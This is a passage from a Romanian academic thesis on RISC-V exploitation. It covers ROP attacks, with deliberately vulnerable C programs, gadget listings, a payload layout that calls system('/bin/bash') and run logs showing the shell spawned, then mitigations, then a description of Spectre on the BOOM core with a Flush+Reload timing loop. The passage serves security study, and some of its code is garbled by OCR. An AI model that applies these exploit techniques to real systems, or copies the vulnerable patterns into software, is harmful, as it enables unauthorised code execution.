Odata descoperita valoarea acestui stack canary, trebuie tinut cont ca in conceperea inpu-

tului, rescrierea sa se realizeze corect, cu acest numar descoperit.

O alta protectie introdusa de sistemul de operare, DEP (Data Execution Prevention),
este marcarea stivei ca o zona in care nu se poate introduce cod care sa fie executat. Totusi
optiunea introdusa la compilare z execstack poate modifica aceasta protectie. Folosirea
acestui sistem de operare in care instrumentele sunt deja existente a condus la folosirea unui
compilator cu aceasta optiune dezactivata. O eventuala activare in timpul generarii compi-
latorului si a celorlalte ustensile implica realizarea tuturor executabilelor cu zona de stiva

executabila.

De asemenea, trebuie sa reamintim ca primul pas in realizarea atacului a fost reprezentat de
oprirea ASLR-ului (Adress Space Layout Randomization). Aceasta metoda de protectie face
ca descoperirea adreselor de pe stiva, heap si din biblioteci sa fie mult mai dificila intrucat
pozitionarea acestor zone de memorie se realizeaza incepand de la adrese diferite la fiecare

rulare a executabilului.

Aceste ultime doua situatii vor fi analizate in capitolul urmator unde va fi folosita o tehnica

diferita numita ROP pentru obtinerea lansarii unui shell.
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Capitolul 4

ROP

4.1 Descrierea atacului

ROP (Return Oriented Programming) este o modalitate de exploatare aparuta ca un
raspuns la introducerea DEP-ului. Aceasta a fost utilizata pentru prima data in anul 2001
28] si presupune folosirea unor bucati de cod valide utilizate una in continuarea celeilalte

pentru realizarea artificiala a unui shellcode.

Aceste fragmente se numesc gadget-uri si sunt formate dintr-un numar redus de instructiuni
terminate in ret. In cadrul arhitecturii x86, lucrurile sunt mult mai simple intrucit executia
acestei ultime instructiuni presupune saltul la adresa de la urmatoarea locatie de pe stiva
care poate fi bineinteles adresa urmitorului gadget. In cazul RISC-V, ret presupune saltul
la adresa retinuta in registrul ra, astfel ca in cele mai multe cazuri gadget-urile trebuie sa
contina si o incarcare in acest registru dintr-o zona la care avem acces, de exemplu stiva.
Partea care usureaza putin lucrurile este reprezentata de constructia cadrului de apel. Re-
gistrul ra este de tip callee-saved, astfel ca valoarea lui este restaurata nainte de iesirea din
functie, deci inainte de instructiunea ret. Stocarea adresei urmatorului gadget la adresa de

la care se realizeaza restaurarea va mentine continuitatea dintre aceste bucati de cod.

Totusi, o alta instructiune prezenta in cadrul de apel, este si cea care scade dimensiunea
stivei. Astfel, un numar suficient de mare de gadget-uri va duce cel mai probabil la epuiza-

rea spatiului disponibil.

O astfel de secventa de bucati de cod poarta denumirea de ropchain si s-a demonstrat
cd, exact ca n cazul x86 si Sparc [31], se poate defini un set Turing complet [19]. Practic, se
poate obtine executia oricarui cod prin folosirea tehnicii ROP. Autorii articolului au realizat
in 2020 un compilator care poate lua orice bucata de cod de orice complexitate scrisa Intr-un
limbaj despre care cunoaste ca este se Turing complet si o poate transforma intr-un ropchain

1n asamblare RISC-V.
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4.2 Reproducerea atacului

Atacul a fost realizat in acelasi mediu ca cel prezentat in capitolul anterior. Mai Intai, pentru
evitarea mecanismului DEP, vom pastra dezactivat ASLR-ul si vom considera programul

vulnerabil de mai jos.

1| //ropl.c

2|#include <stdio.h>

3|#include <fcntl.h>

4/#include <stdlib.h>

5/#include <unistd.h>

6

7|void vulnerable(int fd) {

8 char buf [120];

9 read (fd, buf, 250);

10 printf ("%1x\n", buf);

11 printf ("Vulnerable function\n");
12

13|}

14

15/ int main(int argc, char *xargv) {

16 int fd = open("exploit", ’r’);
17 vulnerable (fd);

18 return O;

19| }

Cod 4.1: Program vulnerabil la un atac de tip buffer overflow - utilizare ROP

De data aceasta vulnerabilitatea introdusa este legata de citirea unui numar mai mare de
caractere decat dimensiunea vectorului. Cum programul este destul de scurt pentru a gasi
bucati de cod utilizabile (exista doar doua gadget-uri), vom cauta astfel de bucati de cod si in
libe (in cazul de fata libc-2.32.s0). Scopul este acelasi ca mai devreme, obtinerea lansarii in
executie a unui terminal. Pentru aceasta vom dori sa apelam functia system, avand incarcat

in registrul a0 primul argument, adica adresa sirului de caractere "/bin/bash".

Intrucat putem profita in continuare de constanta adreselor de pe stivd, iar inputul este
cel introdus de utilizator, putem stoca respectivul sir la o anumita distanta de sp. Pentru
gasirea gadget-ului vom cauta bucati scurte de cod care sa contina memorarea in ra si o
instructiune ret. Dintre acestea le vom pastra doar pe cele care realizeaza o Incarcare de pe
stiva si in registrul a0. Aruncand o privire rapid peste ce am obtinut, descoperim urmatoarea

bucata de cod.

1 576b6: 6522 1d ,8(=p)
2 576b8: 60e2 1d ,24(=p)
3 576ba: 6105 addi s ,32
4 576bc: 8082 ret

Cod 4.2: Gadget libc
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Astfel, la aceasta adresa de inceput vom aduna baza libc-ului care, In acest context, este
constanta si poate fi gasita verificind maparile din cadrul procesului. De asemenea, adresa
functiei system raportata la baza libc-ului se poate descoperi usor, urmand apoi a fi adunata
la aceeasi valoare descoperitd anterior. In cele din urmé continutul fisierului din care se face
citirea va fi reprezentat ca o secventa de octeti ilustrata in figura de mai jos direct in maniera

in care se realizeaza salvarea pe stiva.

“/bin/bash\x00”
system@plt
“DDDDDDDD”
&buf + 168
“C” * 136
&rop_gadget
“BBBBBBBB”
“A” * 120

Figura 4.1: Stiva dupa citirea din fisier in faza de retur

Rularea atacului este ilustrata in caseta urmatoare, continutul scriptului Python care gene-

reaza fisierul exploit fiind prezentat in anexa B.

sh-5.0% cat run_rop.sh
gcc ropl.c -o ropl
python2 script.py
./ropl

sh-5.0% ./run_rop.sh

3ffffff8b8

Vulnerable function

[riscv@fedora-riscv ~]% echo "Hello from bash!"
Hello from bash!

Figura 4.2: Suprascrierea adresei de retur cu adresa unui ropchain

Acest exemplu presupune in continuare cunoasterea adreselor de pe stiva si adreselor din
libe. In cazul in care ASLR-ul va fi reactivat, iar baza stivei si a bibliotecii de C vor fi de
fiecare data pozitionate la adrese diferite, acest atac va fi posibil doar in cazul in care exista
o alta vulnerabilitate care sa permita aflarea lor, cum ar fi de exemplu o vulnerabilitate de
tip format string [33]. Pe scurt, omiterea acestui format string din functii de tipul printf
va face ca afisarea unui buffer in care se afla caractere % sa nu se realizeze in modul asteptat.

In schimb, string-ul va fi interpretat ca un format string si se va afisa informatie de pe stiva.
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Totusi ASLR-ul nu modifica baza si in cazul executabilului in sine, astfel ca sectiunile
.text,.data, .rodata, .plt etc. sunt situate la aceleasi adrese. Astfel, intr-un execu-
tabil cu destul de mult cod este extrem de posibil sa descoperim gadget-urile necesare in
sectiunea proprie cu instructiuni. Orice declarare a unui sir de caractere se va realiza si ea la
aceeasi adresa. Prezenta in cod a string-ului "/bin/bash" folosit intr-un context diferit de
cel intentionat de noi va face posibila utilizarea lui si in cadrul unui ropchain. De asemenea,
posibilitatea de a scrie Intr-o variabila globala face ca utilizatorul sa poata introduce de unul
singur sirul de caractere dorit din nou la o adresa constanta. Mai mult decat atat, folosirea
oricarei functii din biblioteca de C conduce la depozitarea adresei sale din libc In cadrul

sectiunii .plt a carei baza raméane constanta.

Pentru exemplificare sa consideram programul vulnerabil din caseta de mai jos.

//rop2.c

#include <fcntl.h>
#include <stdlib.h>
#include <unistd.h>

#include <string.h>

char buf_glob [20];

char command [31]="echo Hello ";

© 00 J O Ut = W N =

—_
=}

void vulnerable(int f£fd) {
char buf [120];
read (fd, buf, 350);
printf ("What is your name?\n");
scanf ("%s", buf_glob);
if (strlen(buf_glob) > 20)
printf ("Long input\n");

e e e e e
N O U = W N =

else {

—_
0]

strcat (command, buf_glob);

—
=]

system (command) ;

DO
=]

}
asm__("1d a0, 136(sp)");

N}
—

NN
oV )
\-'-l

int main(int argc, char **xargv) {

25 int fd = open("exploit2", ’r’);
26 vulnerable (fd);

27 return O;

28|

Cod 4.3: Program vulnerabil la un atac de tip buffer overflow - utilizare ROP, ASLR activat

Programul prezinta aceeasi vulnerabilitate ca mai devreme, realizandu-se o citire din fisier

21



de mai multe caractere decat spatiul alocat. De data aceasta are loc si o citire de la tastatura
intr-un vector global care va fi afisat prin functia system si comanda echo daca dimensiunea
lui nu depaseste 20 de caractere. O instructiune in asamblare este adaugata in final pentru
posibilitatea realizarii atacului si descoperirii bucitilor de cod necesare unui ropchain. Intr-
un caz real in care executabilul este obtinut din surse numeroase cu mai mult de 28 de linii

de cod, acest artificiu nu ar fi necesar.

Asa cum am amintit anterior toate functiile utilizate pe parcursul executabilul se vor gasi
in sectiunea .plt, deci adresa lui system este cunoscuta pentru ca a fost folosit pentru
afisare. De asemenea, vectorul global in care putem introduce string-ul "/bin/bash" este
in sectiunea .data si are adresa constanta. Ca ultima remarca un gadget similar celui de la

programul anterior se regaseste in finalul functiei vulnerable.

1 0x00000000000106c4 <+110>: 14 ,136(=p)
2 0x00000000000106c6 <+112>: nop

3 0x00000000000106c8 <+114>: 1d ,152(=0)
4 0x00000000000106ca <+116>: 1d ,144(=p)
) 0x00000000000106cc <+118>: addi , ,160
6 0x00000000000106ce <+120>: ret

Cod 4.4: Gadget executabil

Pozitionand, asadar, adresa gadget-ului in locul adresei de retur, adresa lui buf_glob la
136 (sp) si adresa lui systemla 152 (sp) si introducand de la tastatura string-ul "/bin/bash",
vom obtine lansarea in executie a unui shell. Construirea continutului fisierului exploit?2 se
realizeaza folosind din nou un script de Python prezentat si el in anexa B. Rularea atacului

este ilustrata mai jos.

sh-5.0% cat run_rop2.sh
gcc rop2.c -0 rop2
python2 script2.py
./rop2

sh-5.0% ./run_rop2.sh

What is your name?

/bin/bash

Hello /bin/bash

[riscv@fedora-riscv ~]$% echo "Hello from bash!"
Hello from bash!

Figura 4.3: Folosirea tehnicii ROP cand ASLR este activat

4.3 Posibile tehnici de mitigare

Ca si in cazul unui buffer overflow clasic, un prim mecanism de aparare ce ar trebui intro-

dus este stack cookie-ul care va produce o eroare in cazul in care adresa de retur este rescrisa.
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In plus pentru evitarea unui atac ce foloseste buciti de cod din sectiunea de text, asa cum
am vazut mai devreme, ASLR nu mai este suficient. In schimb, o noui tehnici introduss
denumita PIE (Position Independent Executables) face ca executabilul sa nu se mai
incarce de fiecare datd la aceeasi adresa. In schimb, linker-ul va considera adresa de start
o relocare si la fiecare noua rulare, executabilul se va incarca incepand cu o adresa diferita.
Evident, performanta este putin scazuta pentru ca nu se utilizeaza o valoare absoluta, ci se
face un salt indirect, dar atacurile ROP sunt mult mai greu de executat in aceste conditii.
Ca si mai devreme este nevoie de o noua vulnerabilitate pentru descoperirea acestei adrese
de start. Acest mecanism este introdus prin folosirea optiunii fPIE la compilare sau pie la

linkare.

Din nefericire, mitigarea atacurilor de tip ROP se opreste aici in cazul acestei arhitecturi noi.
Optiunile existente pe x86 cum ar fi mmitigate-rop in cazul gcc sau Integritatea fluxului

de control (CFI) utilizata de clang, nu sunt inca implementate pe RISC-V.

Mai mult decat atat, diferitii algoritmi elaborati pentru detectia si preventia atacurilor de
tip ROP nu pot fi aplicati. G-Free [29] este un algoritm care protejeaza instructiunile de
tipul ret cu o valoare similara stack cookie-ului care permite ajungerea in respectiva zona de
cod doar prin modalitatea corecta. Un alt algoritm cunoscut de detectie si reinventat apoi in
diverse variante este Galileo [34] care foloseste dezasamblarea si pleaca de la instructiunile

de tip ret si creeaza un arbore de posibile gadget-uri.

Niciunul dintre acesti doi algoritmi nu conduc totusi la o mitigare a anumitor variante de
atacuri ROP. La Inceputul acestui an, o echipa de cercetatori a descoperit o noua familie
de gadget-uri mult mai puternice. Autorii descriu in articolul [23] o modalitate detaliata de
creare a unor astfel de buciti de cod nedectabile. In principal, ideea se bazeazi pe vulne-
rabilitatea introdusa prin folosirea setului RV64C care reduce dimensiunea instructiunilor.
Utilizarea sa in cadrul RV64GC conduce la existenta de instructiuni de doua dimensiuni,
iar o instructiune mare ar putea ascunde doua instructiuni mici care sa realizeze un efect
nedorit. Astfel, Galileo nu va reusi detectia lor si nici G-Free nu va produce o modificare a

respectivei instructiuni, Intrucat nu va fi considerata una de interes.

Asadar, RISC-V aduce niste probleme suplimentare, dar care totusi pot fi evitate prin
folosirea cu precautie a seturilor de instructiuni in functie de necesitate. In acelasi timp,
majoritatea tehnicilor de aparare sunt implementate, lucrandu-se in continuare la diversi

algoritmi de Imbunatatire a securitatii.
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Capitolul 5

Spectre

5.1 Descrierea atacului

Acest atac a aparut intr-o prima forma in anul 2018 [24] si vizeaza orice procesor modern
cu executie speculativa, inclusiv pe cele mai raspandite din zilele noastre produse de Intel,

AMD si ARM.

Atacurile de tip Spectre presupun o scurgere de informatii din procesul victima realizata
prin executia speculativa a unor instructiuni ce lasa In urma niste efecte secundare. Mai
precis, pentru a nu pierde cicli in asteptarea directiei si adresei necesare in cazul salturi-
lor, procesorul speculeaza aceste informatii si merge mai departe cu executia, procesand

instructiunile fara a le comite.

In cazul in care speculatia a fost una corectdi, executia ajunge la final intr-un singur ci-
clu. Altfel, instructiunile sunt eliminate si in cel mai rau caz, asteptarea este aceeasi ca
in cazul in care nu ar fi existat executie speculativa. La o prima privire, pare ca aceasta
optimizare aduce numai beneficii, dar exista o problema majora in hardware destul de greu
de corectat care implica o vulnerabilitate extrem de mare. Cerinta dezvoltata in momentul
gandirii acestui nou concept a fost ca toate componentele fizice sa poata ajunge Tnapoi intr-o
stare valida, nu neaparat in starea initiala, in cazul In care speculatia a fost una incorecta.
In acest context, orice instructiune de incarcare din memorie executats speculativ aduce in
memoria cache respectiva valoare, iar efectul de readucere a sistemului in faza initiala nu

realizeaza si o golire a memoriei cache.

Practic, o informatie ce nu ar trebui sa fie accesata, ramane depozitata In memoria ca-
che. Un proces malitios cu acces n aceeasi zona de memorie poate afla acum informatia
utilizata de procesul victima. Pentru aflarea acestei informatii, se pot folosi diverse atacuri
de tip side-channel cum ar fi Flush&Reload [41] sau Evict&Reload [21].

Pe scurt, atacul Flush&Reload care va fi folosit in sectiunile urmatoare presupune goli-
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rea memoriei cache fnaintea inceperii atacului. Victima va aduce in memorie informatia
utilizata. Pentru a o descoperi, atacatorul va utiliza informatia din blocul respectiv de me-
morie rand pe rand. Executand o masuratoare a timpului de incarcare, va putea descoperi
accesarea realizata de victima Intrucat elementul respectiv se afla deja in memoria cache, iar

timpul de asteptare va fi clar mai mic.

Acest tip de atac se poate desfasura in mai multe contexte. Primul dintre ele a fost mentionat
anterior, un proces malitios poate ataca procesul utilizatorului, de exemplu la o schimbare
de context pe acelasi hardware. O alta posibilitate ar fi ca un proces al utilizatorului sa
obtina informatii dintr-o zona de memorie privilegiata in cazul in care acesta poate trimite
kernel-ului un parametru de care si depindg accesul in respectiva zond. Intr-o maniers si-

milard, o masina virtuala poate ataca masina gazda sau chiar o alta masina virtuala [14].

Articolul initial [24] descrie doar doua situatii in care aceasta vulnerabilitate se poate ex-
ploata si doar pe arhitecturile mentionate. Lucrurile au evoluat rapid, iar in prezent exista
numeroase variante ale acestui atac si numeroase arhitecturi speculative pe care pot fi re-
produse. In continuare vor fi prezentate trei dintre aceste variante si modul in care pot fi

reproduse pe o arhitectura RISC-V.

5.2 BOOM

BOOM (Berkeley Out-of-Order Machine) este un nucleu RISC-V RV64GC open-source
construit in limbajul de constructie de hardware Chisel. A aparut sub forma unui proiect de
cercetare in cadrul aceluiasi departament de Arhitectura Calculatoarelor de la Universitatea
Berkeley in anul 2018. Principala motivatie din spatele acestui nou nucleu este reprezentata

de necesitatea unei alinieri cu procesoarele moderne ale vremii.

In zilele noastre un procesor performant are o structura mult mai complexi, realizand niste
etape sofisticate pentru procesarea instructiunilor. Performanta este marita astfel semnifica-
tiv de la an la an odata cu aparitia fiecarei noi generatii. BOOM preia o mare parte dintre
caracteristicile acestor nuclee moderne, aducand in discutie pentru prima data in cazul arhi-
tecturii RISC-V concepte precum arhitectura superscalara, executie out-of-order si

executie speculativa.

Acest nucleu a fost dezvoltat avand ca punct de plecare RTL-ul (Register transfer lan-
guage) unui SoC (System on Chip) deja existent denumit Rocket Chip care a aparut
sub diverse forme inca din anul 2011. Practic singura componenta inlocuita de pe acest cip
a fost exact nucleul care functiona pe baza unui pipeline clasic in 5 etape. Celelalte module
precum unitatile de functionare, memoriile cache, TLB-ul (Translation Look-Aside Bu-

ffer) si altele sunt privite ca facand parte dintr-o biblioteca de componente ale procesorului
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asa cum se specifica si In sursa [12].
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Figura 5.1: Etapele simplificate din pipeline[12]

Pipeline-ul nucleului BOOM este prezentat in figura 5.1 si este format din 10 etape. In etapa
de fetch, instructiunea este adusa din memorie si incarcata intr-o coada. Tot n aceasta parte
se realizeaza si predictia branch-urilor la care vom reveni ulterior. Mai departe, instructiunea
este decodata, iar registrii arhitecturii sunt redenumiti in registri fizici. Micro-operatiile
rezultate sunt apoi directionate catre cozile corespunzatoare in functie de tipul acestora
(aritmetice, de accesare a memoriei, in virgula mobild). Aceste operatii stau in niste cozi
denumite Issue Queues pana cand toti operanzii lor sunt disponibili. In urmétoarea etap
se citesc valorile din registri si se executd instructiunea in cazul operatiilor aritmetice si
in virgula mobila sau se calculeaza adresa pentru cele de accesare a memoriei. Doar pentru
acestea, exista o faza suplimentara de memorare care acceseaza trei cozi - LAQ (Load
Address Queue), SAQ (Store Address Queue) si SDQ (Store Data Queue) in care
se vor incarca valorile necesare. In cazul incarcarii din memorie actiunea se realizeazs ime-
diat. Stocarea are loc abia la final. In continuare, rezultatul operatiilor este depus in
registri si are loc o faza finala de commit in care ROB (Reorder Buffer) tine evidenta
instructiunilor executate speculativ si revine in starea initiala daca s-a produs o predictie
gresita. Tot aici memoria este modificata conform valorilor din cozile de stocare daca s-a

decis pastrarea instructiunii.

Asa cum am mentionat anterior, BOOM este o arhitectura superscalara, adica poate exe-
cuta mai mult de o instructiune in acelasi timp. Spre deosebire de nucleele clasice, intr-un
ciclu poate intra in pipeline un grup de instructiuni, fiecare dintre etapele prezentate mai sus
aplicandu-se, de fapt, pe intreg grupul. De exemplu, putem vorbi de un commit superscalar
in cazul In care mai multe instructiuni din ROB sunt disponibile. De asemenea, redenumirea
registrilor se poate realiza tot superscalar daca nu exista nicio dependinta intre instructiunile

din pachet.
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De asemenea, prezentarea ciclurilor din pipeline a facut destul de clar de ce BOOM este si o
arhitectura out-of-order. Instructiunile nu parcurg secvential etapele, micro-operatiile com-
ponente fiind depozitate in cozi si executate in functie de disponibilitatea operanzilor. Cand
toate acestea au fost finalizate si toate instructiunile anterioare executate, o instructiune
poate fi si ea eliminata din ROB, iar modificarile aduse sa fie comise in registri si celelalte
componente de arhitectura. Astfel, numarul de cicluri irosite este mult mai redus fata de
executia in-order de pe procesoarele clasice si cu toate acestea aspectul final al programului

este pastrat, instructiunile modificind starea arhitecturala in aceeasi ordine.

Mai mult decat atat, BOOM realizeaza si o executie speculativa in cazul in care directia
de urmat nu este una clara. Prezicerea ramurii pe care o va urma executia programului se
reflecta in existenta unui Branch Tag care marcheaza pentru fiecare instructiune ramura
sub care aceasta este speculata. Odata cunoscuta calea, toate instructiunile ajunse in ROB si
prezise gresit vor fi eliminate. Numarul maxim de instructiuni ce pot fi executate speculativ
va depinde deci de dimensiunea de stocare a acestui buffer. De asemenea, la fiecare trecere
a unei instructiuni de salt se realizeaza o copie a tabelei de registri pentru a se putea reveni

la aceasta stare a procesorului.

Prezicerea in cazul salturilor presupune doua operatii distincte. Pe de o parte se prezice
adresa de salt atat in cazul salturilor ramificate (daca s-a efectuat salt), cit si in cazul celor
neramificate, fiind trecute in pipeline instructiuni de la respectiva adresa pana in momentul
in care devine cunoscuta. Pentru aceasta, BOOM foloseste un NLP (Next Line Predic-
tor) care intoarce un rezultat intr-un singur ciclu. La nivelul sau sunt incorporate RAS
(Return Adress Buffer) ce stocheaza cele mai recente adrese de retur la care s-a realizat
saltul printr-o instructiune de tip ret si BTB (Branch Target Buffer) unde se memo-
reaza calea aleasa la intalnirea ultimelor salturi. Pe de cealalta parte cand vorbim despre
prezicerea salturilor in cazul celor ramificate, vorbim si despre a prezice care ramura va fi
urmata, daci branch-ul o sa fie taken sau not taken. In cazul NLP-ului, prezicerea se face
printr-o unitate bimodala care ia In considerare comportamentul manifestat la procesarea
saltului in ultimele doua dati. Aceasta tehnica face posibila recunoasterea unei anumite

regularitati in cazul in care ea exista.

Totusi acuratetea nu este una suficient de buna, iar pentru prezicerea ramificarii este imple-
mentat un BP (Backing Predictor) care este mult mai incet, dar cu rezultate mult mai
bune. BP este un predictor care ia in considerare istoria globala, oferind practic un context
mult mai vast in luarea unei decizii. Acesta este implementat ca o clasa abstracta. Principa-
lul predictor folosit este GShare care foloseste adresa instructiunii si istoria globala pentru
a face o predictie in 4 cicli. Un alt predictor implementat este TAGE, insa cel preferat este

GShare Intrucat este mult mai usor de antrenat.

27



FO F1 F2 F3 F4
IMem
Response

1$ Queue Fetch Buffer
" —
Back-end Redireet Target— ] n Fetch Packet™ =
> )—PC—+ e -
M | i BR Decode || oth Ipc
NPC Logic ~| i ai s
e c_f_l—— +—-(Redirect Logi
I -4——BTE Update— BR Checker
BTB ?
BTB Response Fetch Target
Tags/Targetielc, BIM Queue Queue
| R _
——
Resp
FC |
I |

BHR Hashing L-New History—sm Backing Predictor (TAGE, GShare, ete.) _‘

Old History

Figura 5.2: Etapa de fetch cu detalii despre BPU (Branch Predictor Unit) [12]

Ca 1n cazul tuturor procesoarelor speculative, toate rezultatele obtinute prin executie spe-
culativa sunt depozitate temporar in memoria cache. In cazul de fatd, BOOM foloseste
memoria cache L1 de pe cipul Rocket. Si tot la fel ca celelalte procesoare mai vechi, in mo-
mentul aparitiei unei speculatii gresite, registrii revin la starea anterioara, instructiunile sunt
eliminate din ROB, dar memoria cache nu este curatata. Astfel, BOOM este un candidat

ideal pentru reflectarea atacurilor Spectre si pe arhitectura RISC-V.

5.3 Reproducerea atacurilor pe BOOM

BOOM asa cum am amintit si in sectiunea anterioara este un nucleu scris in Chisel. Chisel
este un limbaj de constructie de hardware, dezvoltat la Universitatea Berkeley, scris in Scala.
Acesta permite constructia de hardware avansat prin utilizarea unor generatoare de circuit
parametrizabile. Astfel, este facilitata reutilizarea diverselor componente si biblioteci, fiind

folosit pentru programarea FPGA-urilor (Field Programmable Gate Array).

Acest nucleu, alaturi de altele dezvoltate in cadrul acestei universitati si o serie de ustensile,
acceleratoare, simulatoare si biblioteci au fost incluse intr-un proiect numit Chipyard ex-
trem de utilizat pentru dezvoltate de SoC-uri. Acest proiect include mai multe variante de
configuratii BOOM cu numar diferit de nuclee, cu suport pentru vectorizare si numar diferit
de intriri pentru diverse componente. In cadrul experimentelor viitoare se va folosi cea mai

mica configuratie disponibila cu un singur nucleu SmallBoomConfig.
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Toate aceste configuratii pot fi utilizate atat intr-un context comercial direct pe FPGA-
uri sau folosind simulatorul VCS, cat si intr-o varianta open-source, folosind simulatorul
Verilator, asa cum s-a intamplat si In cazul acestei lucrari. Desi timpul de asteptare este
unul ridicat, simularea aceasta crescandu-l si pana la de 50 de ori mai mult doar in cazul

acestei configuratii minime, rezultatele sunt precise, comportamentul fiind absolut similar.

In principal, va fi utilizatd ultima variantd de BOOM, versiunea numarul 3, denumits So-
nicBoom. Pentru atacul in cazul salturilor ramificate 5.3.2, va fi folosita totusi o varianta
anterioara, versiunea doi, Intrucat desi nu exista o mitigare reala a atacului, modul in care
functioneaza memoria cache care joaca un rol extrem de important, face ca atacul sa nu
poata fi reprodus. Autorii atacurilor descriu intr-o problema deschisa in cadrul repository-
ului lor un comportament diferit al memoriei cache L1 in care executia speculativa a unei
instructiuni de Incarcare a carei valoare este aflata extrem de rapid face ca umplerea me-
moriei sa fie anulata [13]. Dupa cum vom vedea in cele ce urmeaza aceasta modificare este

extrem de importanta si ar impiedica realizarea atacului.

5.3.1 Memoria cache si atacul Flush & Reload

Un procedeu comun tuturor variantelor Spectre ce vor fi prezentate in continuare este atacul
de tip side-channel utilizat pentru aflarea informatiei stocate In memoria cache. Un astfel
de atac se bazeaza pe informatiile ce pot fi aflate folosind diferite efecte ale sistemului fizic.
De exemplu, un atac de timp foloseste masurarea numarului de cicli pentru a deduce diverse

informatii despre activitatea pe care o desfasoara victima.

In cazul de fatd, atacul pe care ne vom baza se numeste Flush&Reload si presupune go-
lirea de catre atacator a memoriei cache Inainte de Inceperea executiei procesului victima.
Ulterior, dupa ce acesta termina de rulat, atacatorul poate accesa, ca in cazul de fata, un
vector cu informatii element cu element si masura timpul de asteptare. Daca timpul a fost
unul mare, Inseamna ca elementul a trebuit adus din memoria principala. Altfel, elementul

a fost regasit iIn memoria cache si deci a fost utilizat de catre procesul victima.

Pentru golirea zonei de memorie din cache, arhitectura x86 foloseste o instructiune spe-
cifici c1flush. In cazul RISC-V o astfel de instructiune nu exist, iar autorii articolului [20]
au fost nevoiti sa implementeze o functie care sa produca golirea unui intreg set din memorie
si de asemenea sa declare vectorul considerat in zona de interes cu o dimensiune multiplu de

dimensiunea unui bloc.

Memoria cache este o zona de memorie utilizata de procesor pentru reducerea timpului
de asteptare in cazul 1n care este necesar sa fie aduse date din memoria RAM. In general,

ea este descompusa pe mai multe nivele, incepand de la L1 si ajungand chiar pana la L4,
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primul nivel fiind cel mai rapid accesibil, dar si cu capacitatea de stocare cea mai mica. Asa

cum am amintit si anterior, BOOM foloseste doar memoria L1.

Modul in care se realizeaza maparea blocurilor din memoria principala in cache este de-
finit de o politica de plasare. Daca politica de plasare este una libera, un bloc poate fi plasat
oriunde si memoria cache se numeste complet asociativa. Daca blocul poate fi plasat doar
la 0 anumita adresa, aceasta se numeste cu mapare directa. Altfel, fiecare set din memorie
poate fi impartit in N cai si oricarui bloc 1i corespund N posibile intrari. O astfel de memorie
cache se numeste asociativa cu seturi cu N cai (N-way set associative). Aceste intrari
din memoria cache dispuse matriceal contin de fapt blocurile de o anumita dimensiune care
sunt aduse din memoria principala. Asadar o astfel de intrare contine datele propriu zise, un
tag care reprezinta o parte din adresa si un bit de validare (daca instructiunile/datele sunt
corecte) si in cazul D-cache-ului - memoriei de date si un bit care marcheaza daca respectiva

valoarea mai este de actualitate sau a fost modificata.

calel cale 2
set 1 tag date biti de validare | tag date biti de validare
set2 | tag date biti de validare | tag date biti de validare
set3 | tag date biti de validare | tag date biti de validare
setk | tag date biti de validare | tag date biti de validare

Figura 5.3: Memorie cache two-way set associative cu k seturi

Modul in care se realizeaza cautarea unei adrese accesate de program in memoria cache res-
pecta formatul din figura 5.4. Offset-ul este reprezentat de numarul octetului ce se doreste a
se accesa din bloc, in functie de dimensiunea acestuia stabilindu-se numarul de biti pe care
offset-ul poate fi reprezentat. Apoi, bazat pe numarul de seturi din memoria cache se decide
numarul de biti pe care poate fi reprezentat indexul setului care 1i va corespunde respectivei
adrese. Restul pana la 64 de biti (adresele sunt reprezentate pe 64 de biti) i vor fi alocati
tag-ului. Pe baza setului si tag-ului se cauta in memoria cache blocul corespunzator. Daca el
a fost identificat, se utilizeaza valoarea indicata de offset, altfel blocul este adus din memorie

principala.

tag set offset

Figura 5.4: Maparea unei adrese

Revenind la nucleul BOOM, cache-ul folosit are 64 de seturi si este de tip 4-way set associ-
ative, iar blocurile sunt de 64 de octeti. Aceste informatii sunt necesare pentru a cunoaste

ce valori trebuie evacuate din cache. Spre deosebire de instructiunea de pe x86 care evacua
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doar o linie, neexistand o modalitate de verificare din cod a liniei ce va fi aleasa dintre cele
4, functia construita determina evacuarea intregului set. Pentru acesta se va declara un
vector de o dimensiune multiplu de dimensiunea memoriei cache si se va cauta prima adresa

aliniata ce se va mapa la baza acesteia (setul de index 0 si offset-ul 0).

Sa consideram acum in concordantd cu codul implementat de catre autorii articolului [20]
si redat in Anexa C vectorul addr de dimensiune sz ce se doreste evacuat din cache. Nu-
marul de seturi ce trebuie evacuate este raportat la sz, iar setul initial este obtinut urmand
pasii descrisi in paragraful precedent. Totusi, cum intrarea exacta nu poate fi cunoscuta,
existand posibilitatea ca oricare dintre cele 4 cai sa fie aleasa, golirea trebuie sa se realizeze
de un numar de ori suficient de mare astfel incat macar o data sa se produca golirea cai
vizate. Autorii au stabilit ca un numar ce rezolva problema in 99% din cazuri, valoarea
4 x L1 WAYS. Astfel accesata memoria aflata la offset-ul setului plus offset-ul celor patru
cai fata de memoria aliniata descrisa anterior, maparea se va realiza in zona pe care o dorim

curatata, valorile Incepand la adresa addr fiind eliminate din cache.

Avand acum o metoda de golire a memoriei cache, atacul de tip Flush & Reload poate
fi aplicat. Vom considera vectorul array2[256 * L1 _BLOCK_SZ_BYTES] un vector ce poate
fi accesat atdt de atacator, cat si de victima, dorind sa aflam indexul de la care cea din
urma a efectuat incarcarea. Cum evacuarea din cache se realizeaza local, pe un intreg bloc,
vectorul a fost declarat astfel incat sa permita masurarea individuala pentru accesul celor
256 de elemente. De asemenea, pentru concludenta, s-a decis efectuarea atacului de 10 ori
si stocarea rezultatelor intr-un vector results pentru ca emularea sa nu produca rezultate

eronate, iar 1n final decizia sa fie luata cu un nivel de incredere ridicat.

Mai intai se va realiza asa cum am amintit evacuarea memoriei cache. Ulterior victima
va efectua o accesare a unui element. Atacatorul in final va reveni si va accesa pe rand toate
elementele, masurand ciclii de care a fost nevoie pentru incircare. In cazul in care timpul
va fi mai mic decat pragul CACHE_HIT THRESHOLD definit ca avand valoarea de 50 de cicli,
intrarea din vectorul results va creste cu unu, indicand posibilitatea ca respectiva valoare
s& fie cea accesatd. In final, dupd aceste 10 repetiri, indexul cu valoarea cea mai mare va fi
considerat cel folosit de victima. Principalele instructiuni din program se regasesc mai jos,

codul complet fiind adaugat in Anexa C.

1| uint8_t dummy = array2[100 * L1_BLOCK_SZ_BYTES];
2| for (uint64_t i = 0; i < 256; ++i){

3 start = rdcycle();

4 dummy &= array2[i * L1_BLOCK_SZ_BYTES];

5 diff = (rdcycle() - start);

6 if (diff < CACHE_HIT_THRESHOLD)

7

results[i] += 1;

Cod 5.1: Flush & Reload
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O ilustrare a realizarii atacului este prezentata in figura 5.5.

ruxi@debian: $ riscv64-unknown-elf-gcc -mcmodel=medany -1 -s
